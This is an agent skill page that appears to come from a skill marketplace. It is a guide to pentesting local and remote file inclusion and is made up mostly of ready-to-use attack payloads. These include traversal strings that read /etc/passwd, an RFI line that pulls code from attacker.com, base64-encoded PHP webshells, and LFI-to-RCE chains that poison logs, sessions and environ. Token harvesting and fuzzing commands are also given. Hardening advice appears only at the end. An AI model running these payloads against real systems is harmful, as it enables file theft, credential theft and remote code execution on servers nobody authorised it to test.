# File Inclusion Pentest > Security testing skill for identifying and exploiting Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities. Use this skill whenever you need to test for path traversal vulnerabilities, file inclusion attacks, PHP wrapper exploitation, or LFI2RCE techniques during security assessments. Trigger this skill when users mention file inclusion, path traversal, LFI, RFI, directory traversal, PHP include vulnerabilities, or need to test for arbitrary file read/write access. - Skill: `abelrguezr/file-inclusion-pentest` (Agent Skill, multi-file: 2 files) - Install (CLI): `npx skillmds@latest add abelrguezr/file-inclusion-pentest` - Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/file-inclusion-pentest/raw - Safety review: pending - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Security - Author: abelrguezr (https://skillmd.com/u/abelrguezr) - Updated: 2026-09-10 - Page: https://skillmd.com/skills/abelrguezr/file-inclusion-pentest --- # File Inclusion Pentesting Skill A comprehensive guide for testing Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities during security assessments. ## Quick Start ```bash # Basic LFI test http://example.com/index.php?page=../../../etc/passwd # RFI test (if allow_url_include is On) http://example.com/index.php?page=http://attacker.com/mal.php ``` ## Vulnerable PHP Functions These functions are commonly vulnerable to file inclusion attacks: - `require` - `require_once` - `include` - `include_once` ## Common Vulnerable Parameters Test these parameter names for file inclusion vulnerabilities: ``` ?cat={payload} ?dir={payload} ?action={payload} ?board={payload} ?date={payload} ?detail={payload} ?file={payload} ?download={payload} ?path={payload} ?folder={payload} ?prefix={payload} ?include={payload} ?page={payload} ?inc={payload} ?locate={payload} ?show={payload} ?doc={payload} ?site={payload} ?type={payload} ?view={payload} ?content={payload} ?document={payload} ?layout={payload} ?mod={payload} ?conf={payload} ``` ## Basic LFI Testing ### Standard Path Traversal ```bash # Linux http://example.com/index.php?page=../../../etc/passwd # Windows http://example.com/index.php?page=../../../../../../windows/win.ini ``` ### Bypass Techniques #### Non-recursive Traversal Stripping ```bash http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd http://example.com/index.php?page=%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` #### Null Byte Injection (PHP < 5.4) ```bash http://example.com/index.php?page=../../../etc/passwd%00 ``` #### URL Encoding Bypasses ```bash # Double URL encoding http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd # Alternative encoding http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd # Mixed encoding http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` #### Path Truncation (PHP < 5.3) ```bash # Add extra characters to bypass .php append http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. ``` #### Filter Bypass Tricks ```bash http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd http://example.com/index.php?page=/var/www/../../etc/passwd http://example.com/index.php?page=PhP://filter ``` ## PHP Wrappers and Protocols ### php://filter Read and modify file content before inclusion: ```bash # Read /etc/passwd with transformations http://example.com/index.php?page=php://filter/read=string.toupper/resource=file:///etc/passwd # Chain multiple filters http://example.com/index.php?page=php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd # Base64 decode http://example.com/index.php?page=php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4= # Compress and encode http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd ``` **Available filters:** - String: `string.rot13`, `string.toupper`, `string.tolower`, `string.strip_tags` - Conversion: `convert.base64-encode`, `convert.base64-decode`, `convert.quoted-printable-encode`, `convert.iconv.*` - Compression: `zlib.deflate`, `zlib.inflate` ### php://fd Access open file descriptors: ```bash http://example.com/index.php?page=php://fd/3 http://example.com/index.php?page=php://stdin http://example.com/index.php?page=php://stdout http://example.com/index.php?page=php://stderr ``` ### data:// Execute code without file storage: ```bash # Plain text http://example.com/index.php?page=data://text/plain, # Base64 encoded http://example.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4= ``` **Note:** Requires `allow_url_open` and `allow_url_include` to be On. ### zip:// and rar:// Extract and include from archives: ```bash # Create payload zip payload.zip payload.php mv payload.zip shell.jpg # Include from archive http://example.com/index.php?page=zip://shell.jpg%23payload.php http://example.com/index.php?page=rar://shell.jpg%23payload.php ``` ### Other Protocols ```bash # expect:// (requires expect extension) http://example.com/index.php?page=expect://id # input:// (POST data) curl -XPOST "http://example.com/index.php?page=php://input" --data "" # phar:// (requires .phar file) http://example.com/index.php?page=phar:///path/to/file.phar ``` ## LFI2RCE Techniques ### Via Apache/Nginx Log Files 1. Inject PHP payload in User-Agent or GET parameter 2. Include the access log file ```bash # Inject payload GET /vuln?cmd= HTTP/1.1 User-Agent: # Include log http://example.com/index.php?page=../../../var/log/apache2/access.log # Execute http://example.com/index.php?page=../../../var/log/apache2/access.log&c=id ``` **Common log paths:** ``` /var/log/apache2/access.log /var/log/apache/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/httpd/error_log ``` ### Via PHP Sessions 1. Set session cookie with PHP payload 2. Include the session file ```bash # Set malicious session Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27 # Login with payload login=1&user=&pass=password # Include session file http://example.com/index.php?page=../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27 ``` ### Via /proc/self/environ ```bash GET /vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### Via Email ```bash # Send email with payload to user@localhost # Include mail file http://example.com/index.php?page=../../../var/mail/ http://example.com/index.php?page=../../../var/spool/mail/ ``` ### Via Upload ```bash # Upload file with embedded payload http://example.com/index.php?page=path/to/uploaded/file.png # Inject into image metadata for persistence ``` ### Via PHP Base64 Filter Bypass file extension checks: ```bash http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php ``` ## Advanced Techniques ### HTML-to-PDF SVG Path Traversal For TCPDF/html2pdf vulnerabilities: ```html ``` ### Blind Path Traversal Use PHP filters as oracle for error-based exfiltration: ```bash # Use UCS-4LE encoding to trigger error on correct char # Use dechunk filter to detect hex characters # Use convert.iconv to shift characters ``` **Vulnerable functions:** `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` ### Token Harvesting from Logs ```bash # Read access logs GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1 # Extract and replay tokens GET /portalhome/?AuthenticationToken= HTTP/1.1 ``` ## Fuzzing and Automation ### wfuzz Command ```bash # Basic LFI fuzzing wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ # With wordlists wfuzz -c -w /path/to/wordlist.txt http://target.com/page.php?file=FUZZ ``` ### curl with Path Preservation ```bash curl --path-as-is -b "session=$SESSION" \ "http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \ --ignore-content-length -s | tr '\000' '\n' ``` ## Testing Checklist - [ ] Test all file/path parameters with `../../../etc/passwd` - [ ] Try different encoding schemes (URL, double-URL, hex) - [ ] Test PHP wrappers (php://filter, data://, zip://) - [ ] Attempt log file inclusion for RCE - [ ] Check for session file access - [ ] Test /proc/self/environ - [ ] Try null byte injection (older PHP) - [ ] Test path truncation techniques - [ ] Attempt blind LFI with error oracles - [ ] Check for RFI if allow_url_include is On - [ ] Test upload functionality for webshell placement ## Hardening Recommendations 1. **Validate and sanitize all file path inputs** 2. **Use allow-lists for permitted files/directories** 3. **Canonicalize paths before use** 4. **Disable allow_url_include and allow_url_open** 5. **Run with least privilege** 6. **Separate upload directories from web root** 7. **Use chroot or containers to limit filesystem access** 8. **Keep PHP updated (many fixes in 5.3+ and 5.4+)** ## References - [PayloadsAllTheThings - File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PHP Stream Wrappers](https://www.php.net/manual/en/wrappers.php) - [PHP Filters](https://www.php.net/manual/en/filters.php) - [Synacktiv - PHP Filter Chains](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) - [Matan H - LFI Bypass with Base64](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/)